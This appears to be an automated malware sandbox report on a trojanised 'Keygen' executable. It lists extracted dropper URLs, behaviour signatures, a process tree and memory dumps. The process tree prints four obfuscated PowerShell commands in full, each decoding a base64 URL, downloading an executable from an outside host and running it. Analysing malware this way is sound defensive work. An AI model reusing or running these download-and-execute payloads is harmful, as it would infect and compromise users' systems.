3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
10s
max time network
173s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (17).exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1600 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2476 timeout.exe
3920 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1600 Keygen.exe

pid	process
1600	Keygen.exe

pid	process
2476	timeout.exe
3920	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

pid	process
1600	Keygen.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

Keygen — копия (17).execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 4028 wrote to memory of 1076	4028	Keygen — копия (17).exe	cmd.exe
PID 4028 wrote to memory of 1076	4028	Keygen — копия (17).exe	cmd.exe
PID 4028 wrote to memory of 1076	4028	Keygen — копия (17).exe	cmd.exe
PID 1076 wrote to memory of 1600	1076	cmd.exe	Keygen.exe
PID 1076 wrote to memory of 1600	1076	cmd.exe	Keygen.exe
PID 1076 wrote to memory of 1600	1076	cmd.exe	Keygen.exe
PID 1076 wrote to memory of 2096	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2096	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2096	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2156	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2156	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2156	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2476	1076	cmd.exe	timeout.exe
PID 1076 wrote to memory of 2476	1076	cmd.exe	timeout.exe
PID 1076 wrote to memory of 2476	1076	cmd.exe	timeout.exe
PID 1076 wrote to memory of 2764	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2764	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 2764	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 3980	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 3980	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 3980	1076	cmd.exe	mshta.exe
PID 2156 wrote to memory of 3176	2156	mshta.exe	powershell.exe
PID 2156 wrote to memory of 3176	2156	mshta.exe	powershell.exe
PID 2156 wrote to memory of 3176	2156	mshta.exe	powershell.exe
PID 1076 wrote to memory of 3920	1076	cmd.exe	timeout.exe
PID 1076 wrote to memory of 3920	1076	cmd.exe	timeout.exe
PID 1076 wrote to memory of 3920	1076	cmd.exe	timeout.exe
PID 2096 wrote to memory of 964	2096	mshta.exe	powershell.exe
PID 2096 wrote to memory of 964	2096	mshta.exe	powershell.exe
PID 2096 wrote to memory of 964	2096	mshta.exe	powershell.exe
PID 2764 wrote to memory of 1564	2764	mshta.exe	powershell.exe
PID 2764 wrote to memory of 1564	2764	mshta.exe	powershell.exe
PID 2764 wrote to memory of 1564	2764	mshta.exe	powershell.exe
PID 3980 wrote to memory of 1152	3980	mshta.exe	powershell.exe
PID 3980 wrote to memory of 1152	3980	mshta.exe	powershell.exe
PID 3980 wrote to memory of 1152	3980	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (17).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (17).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4028

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5578.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (17).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1076

C:\Users\Admin\AppData\Local\Temp\5578.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1600

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5578.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2096

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:964

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5578.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:3176

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2476

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5578.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1564

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5578.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1152

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5578.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5578.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5578.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\5578.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\5578.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\5578.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\5578.tmp\start.bat

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memory/964-23-0x000000006FFD0000-0x00000000706BE000-memory.dmp

Filesize
6.9MB

Download
memory/964-18-0x0000000000000000-mapping.dmp

Download
memory/1076-0-0x0000000000000000-mapping.dmp

Download
memory/1152-24-0x000000006FFD0000-0x00000000706BE000-memory.dmp

Filesize
6.9MB

Download
memory/1152-20-0x0000000000000000-mapping.dmp

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memory/1564-19-0x0000000000000000-mapping.dmp

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memory/1564-22-0x000000006FFD0000-0x00000000706BE000-memory.dmp

Filesize
6.9MB

Download
memory/1564-29-0x0000000007700000-0x0000000007701000-memory.dmp

Filesize
4KB

Download
memory/1564-25-0x0000000006FC0000-0x0000000006FC1000-memory.dmp

Filesize
4KB

Download
memory/1600-2-0x0000000000000000-mapping.dmp

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memory/1600-3-0x0000000000000000-mapping.dmp

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memory/2096-7-0x0000000000000000-mapping.dmp

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memory/2156-9-0x0000000000000000-mapping.dmp

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memory/2476-10-0x0000000000000000-mapping.dmp

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memory/2764-13-0x0000000000000000-mapping.dmp

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memory/3176-21-0x000000006FFD0000-0x00000000706BE000-memory.dmp

Filesize
6.9MB

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memory/3176-16-0x0000000000000000-mapping.dmp

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memory/3920-17-0x0000000000000000-mapping.dmp

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memory/3980-15-0x0000000000000000-mapping.dmp

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